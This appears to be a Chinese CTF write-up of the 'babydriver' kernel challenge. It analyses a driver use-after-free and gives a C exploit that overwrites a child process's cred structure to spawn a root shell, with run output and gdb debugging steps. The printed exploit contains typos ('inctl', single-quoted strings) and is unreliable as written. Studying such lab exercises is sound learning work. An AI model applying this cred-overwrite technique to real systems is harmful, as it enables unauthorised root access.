kernelpwn入门 babydriver 这是ctfwiki上面的第一道例题,首先下载附件,漏洞一般出现在.ko上,.ko文件的装载又在文件系统的init文件中,所以第一步解包文件系统。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 mkdir rootfs mv rootfs.cpio ./rootfs/ cd rootfs cpio -idmv < rootfs.cpio cat init # !/bin/sh mount -t proc none /proc mount -t sysfs none /sys mount -t devtmpfs devtmpfs /dev chown root:root flag chmod 400 flag exec 0</dev/console exec 1>/dev/console exec 2>/dev/console insmod /lib/modules/4.4.72/babydriver.ko chmod 777 /dev/babydev echo -e "\nBoot took $(cut -d' ' -f1 /proc/uptime) seconds\n" setsid cttyhack setuidgid 1000 sh umount /proc umount /sys poweroff -d 0 -f
发现了可装载模块babydriver.ko,阅读其他wp的时候发现他们还会用checksec查看.ko文件的保护,这块我不能理解,按照逻辑来说,它装载到了内核,应该和内核共享一套保护措施了,为啥还要检查他用户态的保护措施(?),除了看到了.ko文件,还发现他对flag文件进行了权限限制chown root:root flagchmod 400 flag
Linux/Unix 的文件调用权限分为三级 : 文件所有者(Owner)、用户组(Group)、其它用户(Other Users),文件所有者就是创建这个文件的人。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 数字权限是基于二进制数字系统而创建的,读(read,r)的值是4,写(write,w)的值是2,执行(execute,x)的值是1,没有授权的值是0。这种模式下,权限组合变成简单的加分运算。于是,在ls -l命令表示的数字权限对应关系是: 0 --- 1 --x 2 -w- 3 -wx 4 r-- 5 r-x 6 rw- 7 rwx 虽然可以设置各式各样的权限,但常用的权限只有几种。它们的含义是: 400 -r-------- 拥有者能够读,其他任何人不能进行任何操作; 644 -rw-r--r-- 拥有者都能够读,但只有拥有者可以编辑; 660 -rw-rw---- 拥有者和组用户都可读和写,其他人不能进行任何操作; 664 -rw-rw-r-- 所有人都可读,但只有拥有者和组用户可编辑; 700 -rwx------ 拥有者能够读、写和执行,其他用户不能任何操作; 744 -rwxr--r-- 所有人都能读,但只有拥有者才能编辑和执行; 755 -rwxr-xr-x 所有人都能读和执行,但只有拥有者才能编辑; 777 -rwxrwxrwx 所有人都能读、写和执行(该设置通常不是好想法)。
综上所述,第一条指令就是把flag文件的文件所有者改成了root用户,然后第二条指令的作用是只有文件所有者才能读flag文件,即root用户才能读这个文件。
所以要读这个flag文件就得通过.ko文件进行提权。
通过ida对.ko文件进行静态分析
shitf+f9发现很多结构体,通过别人的wp对这些结构体有了初步的认识,其中’file_operations’结构体算是解决了我的一个困惑,我之前不明白为什么在程序中调用ioctl就能调用设备的babyioctl函数了,原来程序在init的时候会进行类似重定向的操作,这个.ko就在cdev_init(&cdev_0, &fops)
中进行,最后的重定向表是这个样子的
1 2 3 4 5 6 通过对比可以知道对设备文件的操作会通过如下函数进行处理(注意这里IDA显示的有些问题,release其实对应的是babyrelease): * open: babyopen * read: babyread * write: babywrite * ioctl: babyioctl * release: babyrelease
这个是别人的wp搬用的,我现在只知道会有重定向的操作,但无法具体分析出重定向表。
第二个需要注意的是babydevice_t结构体,这个结构体在之后的漏洞利用中起关键作用。
1 2 3 4 5 6 7 00000000 babydevice_t struc ; (sizeof=0x10, align=0x8, copyof_429) 00000000 ; XREF: .bss:babydev_struct/r 00000000 device_buf dq ? ; XREF: babyrelease+6/r 00000000 ; babyopen+26/w ... ; offset 00000008 device_buf_len dq ? ; XREF: babyopen+2D/w 00000008 ; babyioctl+3C/w ... 00000010 babydevice_t ends
下面对文件的每个函数具体分析
babyopen
1 2 3 4 5 6 7 8 9 10 int __fastcall babyopen (inode *inode, file *filp) { __int64 v2; _fentry__(inode, filp); babydev_struct.device_buf = (char *)kmem_cache_alloc_trace(kmalloc_caches[6 ], 37748928LL , 64LL ); babydev_struct.device_buf_len = 64LL ; printk("device open\n" , 37748928LL , v2); return 0 ; }
这个函数对应open函数,在每次通过open函数打开设备的时候就会调用这个函数,函数的主要逻辑就是用kmalloc申请一个64字节的堆,然后把堆地址储存在babaydevice_t.buf上,然后把长度储存在babydevice_t.buf_len上面
babyread
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 ssize_t __fastcall babyread (file *filp, char *buffer, size_t length, loff_t *offset) { size_t v4; ssize_t result; ssize_t v6; _fentry__(filp, buffer); if ( !babydev_struct.device_buf ) return -1LL ; result = -2LL ; if ( babydev_struct.device_buf_len > v4 ) { v6 = v4; copy_to_user(buffer); result = v6; } return result; }
对应read函数,函数的逻辑是查看babydevice是否有值,如果有的话那长度和传进来的v4进行比较,如果大于的话就把babydevice_t.buf的值拷贝到buffer,这个buffer就是我们传递的参数。
babywrite
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 ssize_t __fastcall babywrite (file *filp, const char *buffer, size_t length, loff_t *offset) { size_t v4; ssize_t result; ssize_t v6; _fentry__(filp, buffer); if ( !babydev_struct.device_buf ) return -1LL ; result = -2LL ; if ( babydev_struct.device_buf_len > v4 ) { v6 = v4; copy_from_user(babydev_struct.device_buf, (void *)buffer, (void *)v4); result = v6; } return result; }
对应write函数,奇怪我的ida反编译出的代码和别人的不一样,函数的逻辑就是检查要拷贝的长度是否小于babydevice_t.len_buf,如果小于的话就把buffer的值传递给babydevice_t.buf
babyioctl
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 __int64 __fastcall babyioctl (file *filp, unsigned int command, unsigned __int64 arg) { size_t v3; size_t v4; __int64 v5; __int64 result; _fentry__(filp, command); v4 = v3; if ( command == 65537 ) { kfree(babydev_struct.device_buf); babydev_struct.device_buf = (char *)_kmalloc(v4, 37748928LL ); babydev_struct.device_buf_len = v4; printk("alloc done\n" , 37748928LL , v5); result = 0LL ; } else { printk(&unk_2EB, v3, v3); result = -22LL ; } return result; }
对应ioctl函数,如果传进来的参数command等于0x10001,那就kfree掉babydevice.buf,然后再申请一个堆,堆的大小是传进来的参数,也就是说我们能够控制,再把堆的大小赋值给babydevice.buf_len
babyrelease
1 2 3 4 5 6 7 8 9 int __fastcall babyrelease (inode *inode, file *filp) { __int64 v2; _fentry__(inode, filp); kfree(babydev_struct.device_buf); printk("device release\n" , filp, v2); return 0 ; }
对应close函数,逻辑就是kfree掉babydevice.buf
漏洞利用 babydevice_t是全局变量,所有打开这个设备的进程都会共享这个变量,至于原因我刚开始以为是多线程共享变量之类的,之后在查阅资料中说是所有进程内核态的变量都指向同一片物理内存 ,有点道理,但不知道说的对不对就是了。
漏洞出在了bayrelease函数上,当kfree掉一个堆后没有清理指针,如果两次打开设备,把第一个设备babyrelease掉,此时第二个设备的babydevice_t.buf就储存着刚才free掉的堆的地址,构成了ufa.
浏览别人的wp发现是这样利用这个ufa的,由于这个内核版本过低,所以管理进程权限的cred结构体的申请和一般堆的申请相同,而且这个版本的cred结构体的大小是0xa8,那就可以打开两次设备,然后用第一个设备再ioctl一个0xa8的堆块,然后再babyrelease,这个第二个堆块的babydevice_t.buf就记录着0xa8的free的堆的地址,然后我们再fork()一个子进程,申请到储存这个子进程的cred的堆就是我们刚才free掉的堆,我们就可以利用第二个设备对这个子进程的cred进行改写了。
exp
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 #include <stdio.h> #include <stdlib.h> #include <unistd.h> #include <fcntl.h> #include <stropts.h> #include <sys/wait.h> #include <sys/stat.h> int main () { int fd1=open('/dev/babydev' ,2 ); int fd2=open('/dev/babydev' ,2 ); inctl(fd1,0x10001 ,0xa8 ); close(fd1); int pid=fork(); if (pid<0 ){ puts ("fork fail" ); exit (0 ); }else if (pid==0 ){ char zeros[30 ]={0 }; write(fd2,zeros,28 ); if (getuid()==0 ){ puts ("ok" ); system("/bin/sh" ); exit (0 ); } }else { wait(0 ); } close(fd2); }
由于是第一次写kerenlpwn的脚本,所以几乎全部都参考了别人的代码,这份代码中有几处我之前没听说过的地方,下面记录一下
fork函数
这是一个父进程产生一个子进程的函数,当一个父进程调用fork()函数的时候实际上最后fork函数被调用了两次,在父函数中调用fork函数时会创建一个子进程并返回子进程的id,在子进程中也会有fork函数,他也会调用,不过这时候就不会返回一个新的子进程不然就死循环了,他会返回0,所以上面的代码中执行system(“/bin/sh”)的实际上是子进程,不是父进程。
getuid
获得cred结构体中uid的值,这个值决定着这个进程的权限,当uid为0的时候代表这个进程是root权限。
权限修改
cred结构体如下
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 struct cred { atomic_t usage; #ifdef CONFIG_DEBUG_CREDENTIALS atomic_t subscribers; void *put_addr; unsigned magic; #define CRED_MAGIC 0x43736564 #define CRED_MAGIC_DEAD 0x44656144 #endif kuid_t uid; kgid_t gid; kuid_t suid; kgid_t sgid; kuid_t euid; kgid_t egid; kuid_t fsuid; kgid_t fsgid; unsigned securebits; kernel_cap_t cap_inheritable; kernel_cap_t cap_permitted; kernel_cap_t cap_effective; kernel_cap_t cap_bset; kernel_cap_t cap_ambient; #ifdef CONFIG_KEYS unsigned char jit_keyring; struct key __rcu *session_keyring ; struct key *process_keyring ; struct key *thread_keyring ; struct key *request_key_auth ; #endif #ifdef CONFIG_SECURITY void *security; #endif struct user_struct *user ; struct user_namespace *user_ns ; struct group_info *group_info ; struct rcu_head rcu ; };
当把cred的uid~fsgid全部覆盖为0的话对应进程就提升为root
提权过程
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 # 编译exp gcc exp.c -static -o exp # 打包文件系统 find . | cpio -o --format=newc > ../rootfs.cpio # 加载内核 ./boot.sh # 执行exp exp exp.c ~ $ ./exp [ 13.823599] device open [ 13.825222] device open [ 13.826817] alloc done [ 13.828409] device release ok /home/ctf # id uid=0(root) gid=0(root) groups=1000(ctf)
可见已经提权至root.
内核调试 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 # 解压bzTmage得到vmlinux /usr/src/linux-headers-$ (uname -r)/scripts/extract-vmlinux bzImage > vmlinux # vmlinux是没有压缩的内核镜像,里面可能含有符号表,也可以用来搜索gadget,这道题暂时用不到vmlinux # 在boot.sh中添加-gdb tcp::1234 我的虚拟机不能在后面加-S,不然抓不到程序,搜了一下好像是gdb和gdbserver版本不匹配的问题。 qemu-system-x86_64 -initrd rootfs.cpio -kernel bzImage -append 'console=ttyS0 root=/dev/ram oops=panic panic=1' -enable-kvm -monitor /dev/null -m 64M --nographic -smp cores=1,threads=1 -cpu kvm64,+smep -gdb tcp::1234 # 先运行启动脚本,再使用gdb ./vmlinux启动gdb,并连接到qemu target remote localhost:1234 # 加入ko文件的符号表,类似这样的命令add-symbol-file core.ko textaddr pwndbg> add-symbol-file babydriver.ko 0xffffffffc0000000 add symbol table from file "babydriver.ko" at .text_addr = 0xffffffffc0000000 Reading symbols from babydriver.ko...done. # 然后就可以调试了 pwndbg> b babyopen ► 0xffffffffc0000030 <babyopen> nop dword ptr [rax + rax] 0xffffffffc0000035 <babyopen+5> push rbp 0xffffffffc0000036 <babyopen+6> mov rdi, qword ptr [rip - 0x3de3bc0d] 0xffffffffc000003d <babyopen+13> mov edx, init_module+28 <64> 0xffffffffc0000042 <babyopen+18> mov esi, 0x24000c0 0xffffffffc0000047 <babyopen+23> mov rbp, rsp 0xffffffffc000004a <babyopen+26> call 0xffffffff811ea180 <0xffffffff811ea180> 0xffffffffc000004f <babyopen+31> mov rdi, -0x3fffefcc 0xffffffffc0000056 <babyopen+38> mov qword ptr [rip + 0x2473], rax 0xffffffffc000005d <babyopen+45> mov qword ptr [rip + 0x2470], init_module+28 <64> 0xffffffffc0000068 <babyopen+56> call 0xffffffff8118b077
总结 学到了很多东西,解决了kernelpwn的第一道题(也是最简单的一道)。